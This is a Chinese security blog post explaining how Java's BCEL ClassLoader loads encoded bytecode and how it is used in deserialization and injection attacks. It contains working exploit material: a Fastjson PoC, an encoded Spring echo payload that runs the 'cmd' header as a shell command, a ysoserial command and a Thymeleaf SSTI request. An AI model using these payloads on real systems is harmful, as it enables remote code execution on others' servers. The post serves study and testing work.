Java安全之BCEL ClassLoader

写在前面

BCEL平常在测试反序列化的时候也经常会用到,比如延时测Gadget以及在某些场景下执行命令不是那么顺手的情况下选择BCEL去打内存马,就像Fastjson和Thymeleaf SSTI这种。以前也只是用到这个BCEL但是没有仔细学习过,下面简单学习记录下BCEL。

About BCEL

BCEL Classloader在 JDK < 8u251之前是在rt.jar里面。

同时在Tomcat中也会存在相关的依赖

tomcat7

org.apache.tomcat.dbcp.dbcp.BasicDataSource

tomcat8及其以后

org.apache.tomcat.dbcp.dbcp2.BasicDataSource

而在rt.jar!/com/sun/org/apache/bcel/internal/util/包下,有Classloader这么一个类,可以实现加载字节码并初始化一个类的功能,该类也是个Classloader(继承了原生的Classloader类)重写了loadClass()方法,源码如下:

protected Class loadClass(String class_name, boolean resolve)
throws ClassNotFoundException
{
Class cl = null; /* First try: lookup hash table.
*/
if((cl=(Class)classes.get(class_name)) == null) {
/* Second try: Load system class using system class loader. You better
* don't mess around with them.
*/
for(int i=0; i < ignored_packages.length; i++) {
if(class_name.startsWith(ignored_packages[i])) {
cl = deferTo.loadClass(class_name);
break;
}
} if(cl == null) {
JavaClass clazz = null; /* Third try: Special request?
*/
if(class_name.indexOf("$$BCEL$$") >= 0)
clazz = createClass(class_name);
else { // Fourth try: Load classes via repository
if ((clazz = repository.loadClass(class_name)) != null) {
clazz = modifyClass(clazz);
}
else
throw new ClassNotFoundException(class_name);
} if(clazz != null) {
byte[] bytes = clazz.getBytes();
cl = defineClass(class_name, bytes, 0, bytes.length);
} else // Fourth try: Use default class loader
cl = Class.forName(class_name);
} if(resolve)
resolveClass(cl);
} classes.put(class_name, cl); return cl;
}

首先会判断类名是否以$$BCEL$$开头,之后调用createClass()方法拿到一个JavaClass对象最终通过defineClass()加载字节码还原类。

调试分析

先来看下简单的使用,在同一包下,准备一个恶意类

package MemoryShell.BCEL;

import java.io.IOException;

public class calc {
static{
try {
Runtime.getRuntime().exec("open -a Calculator");
} catch (IOException e) {
e.printStackTrace();
}
}
}

准备一个BCEL的demo,运行即可。

package MemoryShell.BCEL;

import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader; public class BCELDemo {
public static void main(String[] args) throws Exception { JavaClass cls = Repository.lookupClass(calc.class);
String code = Utility.encode(cls.getBytes(), true);
System.out.println(code); new ClassLoader().loadClass("$$BCEL$$" + code).newInstance();
}
}

下面来调试一下,直接跟到loadClass()方法里,首先是去调用createClass()方法

createClass()中,通过subString()截取$$BCEL$$后的字符串,并调用Utility.decode进行相应的解码并最终返回改字节码的bytes数组(decode方法参数uncompress用来标识是否为zip流,当为true时走zip流解码)。之后生成Parser解析器并调用parse()方法进行解析,并生成JavaClass对象

createClass源码如下:

protected JavaClass createClass(String class_name) {
int index = class_name.indexOf("$$BCEL$$");
String real_name = class_name.substring(index + 8); JavaClass clazz = null;
try {
byte[] bytes = Utility.decode(real_name, true);
ClassParser parser = new ClassParser(new ByteArrayInputStream(bytes), "foo"); clazz = parser.parse();
} catch(Throwable e) {
e.printStackTrace();
return null;
} // Adapt the class name to the passed value
ConstantPool cp = clazz.getConstantPool(); ConstantClass cl = (ConstantClass)cp.getConstant(clazz.getClassNameIndex(),
Constants.CONSTANT_Class);
ConstantUtf8 name = (ConstantUtf8)cp.getConstant(cl.getNameIndex(),
Constants.CONSTANT_Utf8);
name.setBytes(class_name.replace('.', '/')); return clazz;
}

Utility.decode()源码:

 /** Decode a string back to a byte array.
*
* @param bytes the byte array to convert
* @param uncompress use gzip to uncompress the stream of bytes
*/
public static byte[] decode(String s, boolean uncompress) throws IOException {
char[] chars = s.toCharArray(); CharArrayReader car = new CharArrayReader(chars);
JavaReader jr = new JavaReader(car); ByteArrayOutputStream bos = new ByteArrayOutputStream(); int ch; while((ch = jr.read()) >= 0) {
bos.write(ch);
} bos.close();
car.close();
jr.close(); byte[] bytes = bos.toByteArray(); if(uncompress) {
GZIPInputStream gis = new GZIPInputStream(new ByteArrayInputStream(bytes)); byte[] tmp = new byte[bytes.length * 3]; // Rough estimate
int count = 0;
int b; while((b = gis.read()) >= 0)
tmp[count++] = (byte)b; bytes = new byte[count];
System.arraycopy(tmp, 0, bytes, 0, count);
} return bytes;
}

之后获取到了该JavaClass对象的bytes数组并调用java原生的defineClass()加载

之后就是在newInstance()时初始化触发静态代码块执行

食用姿势

Fuzz反序列化Gadget

以测试CC3为例,使用c0ny1师傅的ysoserial-for-woodpecker项目,先准备一个可以延时的类

package MemoryShell.BCEL;

public class sleep {
static {
try {
Thread.sleep(1000);
} catch (InterruptedException e) {
e.printStackTrace();
}
}
}

yso

/Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/bin/java -jar ysoserial-for-woodpecker-0.5.0.jar -g CommonsCollections3 -a bcel:$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$7dRMK$c3$40$Q$7d$db$sM$h$a3$adUk$fd$fe$b8$a8$3d$Y$f0$aaxP$U$aa$a9$kZz$U$b6$e9b$a3i$S$d6T$f4$Xy$eeE$c5$83$3f$c0$l$r$ce$aeU$R$c4$81$9da$de$ec$bc$f7X$f6$ed$fd$e5$V$c0$O$d6m$e41kB$c7F$c9F$Vs$W$e6m$98X$b0$b0ha$89$n$b7$XDA$ba$cf$90$dd$dcj3$Y$87qW0$U$bd$m$Sg$83$7eG$c8$W$ef$84$84$94$bd$d8$e7a$9b$cb$40$f5$p$d0H$7b$c1$NC$d5k$88$7e$y$ef$9b$3d$R$86$ee$c1$e1$91$e7$de$84B$q$bb$M$f9$3d$3f$i$J0ZX$f5$ae$f8$zwC$k$5d$ba$f5$u$VR$O$92Tt$8f$ee$7c$91$a4A$i$d1$c6x3$e5$feu$83$tZ$83$ec2$d8$cdx$m$7dq$i$uM$5bSo$x$k$H$F$d8$W$96$j$ac$60$95a$f9$7fn$Hk$b0$Z$w$7f$7be$u$fd$ac$9fw$ae$84$9f$fe$82Z$3d$vx$97$c1$i$dd66O$d4$7b$V$T$ZD$a9$b6$dc$92$dc$X$a4a$d1$a3$ab$c8$80$v$7f$94$c7$a8s$a92$aaf$ed$Jl$a8$c7$O$e5$9c$G$b3$Y$a7$ec$7c$5e$c0$E$8aT$f3$u$7d$__h2$a08$8d$cc3$8c$H$e4Ok$8f$c8$N5$98$p$V$93$u$U$5d$F$a6F$UV$m$t$ea$DLP$fe$a2$b7a$60$Se$ea$a6$e8X$c8$d4$zL$h4$98$d1$8e$w$l$84$cfe$82$3b$C$A$A

当然也可以用c0ny1师傅提到的通过class去Fuzz Gadget,这个也被集成到了他最新版本的yso中(吹爆)

Fastjson BCEL Payload

这个也是老生常谈的东西了,这里就简单记录下自己在复现时遇到的一点小bug。

PoC

{
{
"x":{
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$..."
}
}: "x"
}

回显

Content-Type: application/json
cmd: whoami
Content-Length: 3327 {
{
"@type": "com.alibaba.fastjson.JSONObject",
"x":{
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$8dV$cb$5b$TW$U$ff$5dH27$c3$m$g$40$Z$d1$wX5$a0$q$7d$d8V$81Zi$c4b$F$b4F$a5$f8j$t$c3$85$MLf$e2$cc$E$b1$ef$f7$c3$be$ec$a6$df$d7u$X$ae$ddD$bf$f6$d3$af$eb$$$ba$ea$b6$ab$ae$ba$ea$7fP$7bnf$C$89$d0$afeq$ee$bd$e7$fe$ce$ebw$ce$9d$f0$cb$df$3f$3e$Ap$I$df$aaHbX$c5$IF$a5x$9e$e3$a8$8a$Xp$8ccL$c1$8b$w$U$e4$U$iW1$8e$T$i$_qLp$9c$e4x$99$e3$94$bc$9b$e4$98$e2$98VpZ$o$cep$bc$c2qVE$k$e7Tt$e2$3c$c7$F$b9$cep$bc$ca1$cbqQ$G$bb$c4qY$c1$V$VW$f1$9a$U$af$ab0PP$b1$h$s$c7$9c$5c$85$U$f3$i$L$iE$F$96$82E$86$c4$a8$e5X$c1Q$86$d6$f4$c0$F$86X$ce$9d$T$M$j$93$96$p$a6$x$a5$82$f0$ce$Z$F$9b4$7c$d4$b4$pd$7b$3e0$cc$a5$v$a3$5c$bb$a2j$U$yQ$z$94$ac$C$9b$fc2$a8y$b7$e2$99$e2$84$r$z$3b$f2e$cfr$W$c6$cd$a2$9bY4$96$N$N$H1$a4$a0$a4$c1$81$ab$a1$8ck$M$a3$ae$b7$90$f1k$b8y$cf$u$89$eb$ae$b7$94$b9$$$K$Z$d3u$C$b1$Sd$3cq$ad$o$fc$ms6$5cs$a1z$c2$b5$e7$84$a7$c0$d3$e0$p$60$e8Z$QA$84$Y$L$C$cf$wT$C$e1S$G2l$d66$9c$85l$ce6$7c_C$F$cb$M$9b$d7$d4$a7$L$8b$c2$M$a8$O$N$d7$b1$c2p$ec$ff$e6$93$X$de$b2$bda$d0$b6Z$$$7e$d9u$7c$oA$5d$cb$8ca$a7$M$bc$92$f1C$db5$lup$92$c03$9e$V$I$aa$eb$86$ccto$b3A1$I$ca$99$J$S$cd$d1C$c3$Ja$Q$tM$d5$e5$DY$88$867$f0$s$f5$d9$y$cd1$u$ae$9fq$a80$Foix$h$efhx$X$ef$d1$e5$cc$c9i$N$ef$e3$D$86$96$acI$b0l$c1r$b2$7e$91$8eC$a6$86$P$f1$R$e9$q$z$81$ed0l$a9$85$a8$E$96$9d$cd$9b$86$e3$c8V$7c$ac$e1$T$7c$aa$e13$7c$ae$e0$a6$86$_$f0$a5l$f8W$e4$e1$f2$98$86$af$f1$8d$86$5b2T$7c$de$aeH$c7q$d3ve$d1$9dk$f9$8e$af$98$a2$iX$$$85$e85$ddRv$de$f0$83E$dfu$b2$cb$V$8a$b4$3aM$M$3dk6$9e$98$b7$a9$85$d9$v$R$U$5d$w$b0$f3$d2$e4$a3$E$8c4$91r$ae$e8$RS4$cdf$c5$f3$84$T$d4$cf$5d$e9$81$c9GQd$d9M$d4FSW$9b$a1I7$a4Yo$827$5cI$9b$N$_$a8M6mj$gjmz$7d$9e$eb$3c$8e$84$ad$ad$d7vl$D$9bK$ebl$g$bd4$b3C$ee$S$96$b3$ec$$$R$edG$g$7d$85$cf$a0$c9W$a4$gX$af$a2$feSN$c7$85i$h$9e$98$ab$e7$d6$ee$8b$60$cc4$85$ef$5b$b5$efF$y$7dQ$7eW$g$a7$f1$86$l$88R$f8$40$cexnYx$c1$N$86$7d$ff$c1$c3j$L$db$C$f7$7c$99$8cr$86$9c$9a$e6n$ad$82$b8$7c$a7$86$e5$Q$c1$bd$8d$8esE$c3$cb$cb$d7$e2$98bd$e0$o$Be$5b$c3Nt$ae$ef$e4H$7d$c6k$aa$b3$V$t$b0J$f5$c7$5c$3ft7$99Ej2$8c$89$VA$_$u$9d$de$60$Q$h$z$88$C$c9Vs$a8H$c9$b0$89B$9dt$ca$95$80$y$85A$acm$ab$87$b3$dcl$c3$F$99$f7$a47$bc$90$eck$V_$i$X$b6U$92$df$U$86$fd$ff$ceu$e3c$96E84$ef$e8$c3$B$fa$7d$91$7f$z$60$f2$ebM2C$a7$9d$b42Z$e3$83w$c1$ee$d0$86$nK2QS$s$c0$f1D$j$da$d2O$O$da$Ip$f5$kZ$aahM$c5$aa$88$9f$gL$rZ$efC$a9$82O$k$60$b4KV$a1NE$80$b6$Q$a0$d5$B$83$a9$f6h$3b$7d$e0$60$84$j$8e$N$adn$e3$91$dd$s$b2Ku$84$d0$cd$c3$89H$bbEjS1$d2$ce$b6$a6$3a$f3$f2J$d1$VJ$a2KO$84R$8f$d5$3dq$5d$d1$e3$EM$S$b4$9b$a0$ea$cf$e8$iN$s$ee$93TS$5b$efa$5b$V$3d$v$bd$8a$ed$df$p$a5$ab$S$a3$ab$b1To$fe6$3a$e4qG$ed$b8$93d$5cO$e6u$5e$c5c$a9$5d$8d$91u$k$3a$ff$J$bbg$ef$a1OW$ab$e8$afb$cf$5d$3c$9e$da$5b$c5$be$w$f6$cb$a03$a1e$3a$aaD$e7Qz$91$7e$60$9d$fe6b$a7$eeH$e6$d9$y$bb$8cAj$95$ec$85$83$5e$92IhP$b1$8d$3a$d0G$bb$n$b4$e306$n$87$OLc3f$b1$F$$R$b8I$ffR$dcB$X$beC7$7e$c0VP$a9x$80$k$fc$K$j$bfa$3b$7e$c7$O$fcAM$ff$T$bb$f0$Xv$b3$B$f4$b11$f4$b3Y$ec$a5$88$7b$d8$V$ec$c7$93$U$edY$c4$k$S$b8M$c1S$K$9eVp$a8$$$c3M$b8$7fF$n$i$da$k$c2$93s$a3$e099$3d$87k$pv$e4$l$3eQL$40E$J$A$A"
}
}: "x"
}

测试的时候抛出了异常

打个断点,异常出在createDriver方法,我们跟进去看下,顺便看一下这里是如何去利用BCEL Classloader的

static Driver createDriver(BasicDataSource basicDataSource) throws SQLException {
Driver driverToUse = basicDataSource.getDriver();
String driverClassName = basicDataSource.getDriverClassName();
ClassLoader driverClassLoader = basicDataSource.getDriverClassLoader();
String url = basicDataSource.getUrl();
if (driverToUse == null) {
Class<?> driverFromCCL = null;
String message;
if (driverClassName != null) {
try {
try {
if (driverClassLoader == null) {
driverFromCCL = Class.forName(driverClassName);
} else {
driverFromCCL = Class.forName(driverClassName, true, driverClassLoader);
}
} catch (ClassNotFoundException var8) {
driverFromCCL = Thread.currentThread().getContextClassLoader().loadClass(driverClassName);
}
} catch (Exception var9) {
message = "Cannot load JDBC driver class '" + driverClassName + "'";
basicDataSource.log(message, var9);
throw new SQLException(message, var9);
}
} try {
if (driverFromCCL == null) {
driverToUse = DriverManager.getDriver(url);
} else {
driverToUse = (Driver)driverFromCCL.getConstructor().newInstance();
if (!driverToUse.acceptsURL(url)) {
throw new SQLException("No suitable driver", "08001");
}
}
} catch (Exception var10) {
message = "Cannot create JDBC driver of class '" + (driverClassName != null ? driverClassName : "") + "' for connect URL '" + url + "'";
basicDataSource.log(message, var10);
throw new SQLException(message, var10);
}
} return driverToUse;
}
}

最终会走到Class.forName(driverClassName, true, driverClassLoader); ,这个点在C3P0有提到过,当这里设置为true时,如果没有初始化过目标类,则会将其初始化。而继续单步调试时就跟不进去了,不过可以看到已经抛出了异常。这里抛出的是没有找到SpringRequestContextHolder类的异常,因为测试环境是没有用到Spring的。这里猜测可能是safe6sec师傅这个回显的poc是Spring下的回显。

也可以把BCEL字段拿出来,decode一下还原成class文件,看一看代码

还原代码如下:

public class BCELDemo {
public static void main(String[] args) throws Exception {
byte[] bytes = BCELDecode(FJ_BCEL_ECHO_1_2_24);
getFileByByte(bytes,"aa.class", "/test");
} public static byte[] BCELDecode(String BCELcode) throws IOException {
int index = BCELcode.indexOf("$$BCEL$$");
String real_name = BCELcode.substring(index + 8);
return Utility.decode(real_name, true);
} public static void getFileByByte (byte[] bytes, String fileName, String filePath){
BufferedOutputStream bos = null;
FileOutputStream fos = null;
File file = null; try {
file = new File(filePath + "/" + fileName);
fos = new FileOutputStream(file);
bos = new BufferedOutputStream(fos);
bos.write(bytes); } catch (FileNotFoundException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
} finally {
if (bos != null){
try {
bos.close();
} catch (IOException e) {
e.printStackTrace();
}
}
if (fos != null){
try {
fos.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
}
}

反编译class得到代码如下:

package com.fastjson.vul;

import java.lang.reflect.Method;
import java.util.Scanner; public class SpringEcho {
public SpringEcho() {
} static {
try {
Class var0 = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");
Method var1 = var0.getMethod("getRequestAttributes");
Object var2 = var1.invoke((Object)null);
var0 = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes");
var1 = var0.getMethod("getResponse");
Method var3 = var0.getMethod("getRequest");
Object var4 = var1.invoke(var2);
Object var5 = var3.invoke(var2);
Method var6 = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter");
Method var7 = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader", String.class);
var7.setAccessible(true);
var6.setAccessible(true);
Object var8 = var6.invoke(var4);
String var9 = (String)var7.invoke(var5, "cmd");
String[] var10 = new String[3];
if (System.getProperty("os.name").toUpperCase().contains("WIN")) {
var10[0] = "cmd";
var10[1] = "/c";
} else {
var10[0] = "/bin/sh";
var10[1] = "-c";
} var10[2] = var9;
var8.getClass().getDeclaredMethod("println", String.class).invoke(var8, (new Scanner(Runtime.getRuntime().exec(var10).getInputStream())).useDelimiter("\\A").next());
var8.getClass().getDeclaredMethod("flush").invoke(var8);
var8.getClass().getDeclaredMethod("close").invoke(var8);
} catch (Exception var11) {
} }
}

所以如果环境没有Spring时换成TomcatEcho的payload丢进去就可以了

Thymeleaf SSTI Payload

这个场景如果可以用BCEL就会很方便,比如可以直接去打内存马、reg等进去。

参考的turn1tup师傅文章

poc: Mac Calc

POST /path HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 1010 lang=::__${"".getClass().forName("$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$cbN$db$40$U$3d$938$b1c$9c$G$C$BZ$fa$I$ef$80$E$96$d8$82X$QQ$a9$aa$81$aaAt$3d$ZFa$c0$f1D$ce$E$c1$X$b1f$D$88$F$l$c0G$n$ee$98$94$o$VK$9e$fb$3c$e7$9e$3b$f3$f8t$ff$A$60$DK$3e$3cL$f9$98$c6G$P$9f$ac$9dq$f1$d9G$B_$5c$7cu$f1$8d$a1$b8$a5$Se$b6$Z$f2$8d$95$p$G$a7$a9$8f$rC$rR$89$dc$lt$db2$3d$e4$ed$982$d5H$L$k$l$f1T$d9x$98t$cc$89$ea3LE$7b$b2$ab$d3$cb$d6$89$8c$e3p$a7$b9$h$85$d4$x6$Z$bc$z$R$P$f9$Z$f5$d7$a2S$7e$ceC$a5$c3$l$H$bb$XB$f6$8c$d2$J$b5$95$5b$86$8b$b3$3d$de$cbxI$o$83$df$d2$83T$c8$ef$ca$ce$vY$bau$8b$NP$82$ef$a2$k$60$Ws$a4J$f7dR_$e3$f5$s5$Mbnt$g$60$k$L$M$e3$efL$K$b0$I$9fT$bc$ab$96a4$83$c4$3c$e9$84$H$edS$v$M$c3$d8$bf$d4$efAbT$97$c4$f8$ji$5e$83Zc$r$fa$af$876r$e4$85$q$ca$e5$c6$9bj$cb$a4$w$e9l$be$F$fcJ$b5$90$fd$3e$B$w$3d$w$9a$ec$k$OS$$$q$ed$e7$d2$e3$d9$_$Hf$b7$a6s$84$a2$90$y$p$5bX$bd$F$bb$ce$ca$B$9d$c5$97$q$cat$GC$ff$D$wd$3d$8c$be$82yF$GT$ef$90$ab$e6o$e0$fc$b9$82$f7s$f5$G$c5$eb$y_$ol$B$f9$8cq$92$3c$8b$$$R$d2$5e$7b$99X$c6$c8$fb$3b$a1$M$87$e2$wE$e3$f4$bb$c8E$$$s$i$w$d42Q$93$cfC$e1$98g$86$C$A$A", true, "".getClass().forName("com.sun.org.apache.bcel.internal.util.ClassLoader").newInstance())}_______________

Java安全之BCEL ClassLoader的更多相关文章

  1. Java基础-类加载机制与自定义类Java类加载器(ClassLoader)

    Java基础-类加载机制与自定义类Java类加载器(ClassLoader) 作者:尹正杰 版权声明:原创作品,谢绝转载!否则将追究法律责任. 关于类加载器的概念和分类我就不再废话了,因为我在之前的笔 ...

  2. Java类载入器 ClassLoader的解析

    //參考 : http://www.ibm.com/developerworks/cn/java/j-lo-classloader/ 类载入器基本概念 类载入器是 Java 语言的一个创新,也是 Ja ...

  3. Java 类加载体系之 ClassLoader 双亲委托机制

    Java 类加载体系之 ClassLoader 双亲委托机制 java 是一种类型安全的语言,它有四类称为安全沙箱机制的安全机制来保证语言的安全性,这四类安全沙箱分别是: 类加载体系 .class文件 ...

  4. java笔记--理解java类加载器以及ClassLoader类

    类加载器概述: java类的加载是由虚拟机来完成的,虚拟机把描述类的Class文件加载到内存,并对数据进行校验,解析和初始化,最终形成能被java虚拟机直接使用的java类型,这就是虚拟机的类加载机制 ...

  5. Java Se:自定义ClassLoader

    JVM是如何知道java.lang包中的类的?JVM又是如何知道我们应用中的类的?我们的应用中明明是有某个类, 但是JVM却抛出ClassNotFoundException,这是为什么?XxxImpl ...

  6. Java运行时环境---ClassLoader类加载机制

    背景:听说ClassLoader类加载机制是进入BAT的必经之路. ClassLoader总述: 普通的Java开发其实用到ClassLoader的地方并不多,但是理解透彻ClassLoader类的加 ...

  7. Java 反射 (Class、ClassLoader、Constructor、Method、Field)

    反射是Java中一个非常重要.非常强大的机制.曾看到一句话“反射是框架的灵魂”,初学时不懂,等到学完框架之后才慢慢理解其意. 什么是反射?我们先通过几个类和示例来初步体会一下反射. 一.ClassLo ...

  8. java类载入器——ClassLoader

    Java的设计初衷是主要面向嵌入式领域,对于自己定义的一些类,考虑使用依需求载入原则.即在程序使用到时才载入类,节省内存消耗,这时就可以通过类载入器来动态载入. 假设你平时仅仅是做web开发,那应该非 ...

  9. 【Java虚拟机10】ClassLoader.getSystemClassLoader()流程简析

    前言 学习类加载必然离开不了sun.misc.Launcher这个类和Class.forName()这个方法. 分析ClassLoader.getSystemClassLoader()这个流程可以明白 ...

随机推荐

  1. 教学日志:javaSE-初识java

    一.编译执行第一个java程序 /* 总结: 1.编译执行第一个java程序 步骤如下: 1.安装JDK开发环境: 2.配置环境变量,JAVA_HOME,PATH;--验证环境变量配置是否成功 jav ...

  2. 牛客练习赛39 B:选点(二叉树遍历+LIS)

    链接: https://ac.nowcoder.com/acm/contest/368/B 来源:牛客网 时间限制:C/C++ 1秒,其他语言2秒 空间限制:C/C++ 131072K,其他语言262 ...

  3. Challenging Common Assumptions in the Unsupervised Learning of Disentangled Representations

    目录 概 主要内容 Locatello F., Bauer S., Lucic M., R"{a}tsch G., Gelly S. Sch"{o}lkopf and Bachem ...

  4. Conditional Generative Adversarial Nets

    目录 引 主要内容 代码 Mirza M, Osindero S. Conditional Generative Adversarial Nets.[J]. arXiv: Learning, 2014 ...

  5. CS5265 新出TYPEC转HDMI 4K60 高清投屏转接方案|可替代RTD2172

    CS5265是一种高度集成的单芯片,主要用于设计typec转HDMI转接线或者typeC转HDMI转换器,应用在各种手机或者电脑显示端设备当中.用CS5265设计的TYPEC转HDMI 4K高清投屏线 ...

  6. Java初学者作业——完成对已定义类(Admin)的对象的创建。并完成属性的赋值和方法的调用。

    返回本章节 返回作业目录 需求说明: 完成对已定义类(Admin)的对象的创建.并完成属性的赋值和方法的调用. 实现思路: 创建 MyTest 类,并添加 main函数. 在 main函数中完成对 A ...

  7. find 命令常用解释

    背景色是:orange #### find命令 find * path: 所有搜索的目录以及其所有子目录.默认为当前目录 * expression: 所有搜索的文件的特征 * cmd: 对搜索结果惊醒 ...

  8. vue3获取当前路由

    正解 使用useRouter: // router的 path: "/user/:uid" <template> <div>user</div> ...

  9. CSS基础 水平居中案例

    html结构 <body> <div class="father"> <div class="son"></div&g ...

  10. spring5无法在控制台打印日志的原因

    想要在控制台输出spring的日志,却无法输出,log4j2所需要的jar文件都已经导入,log4j2的配置文件也存在,调整日志级别也不行,一通百度后发现是缺少spring的jcl的jar文件,把sp ...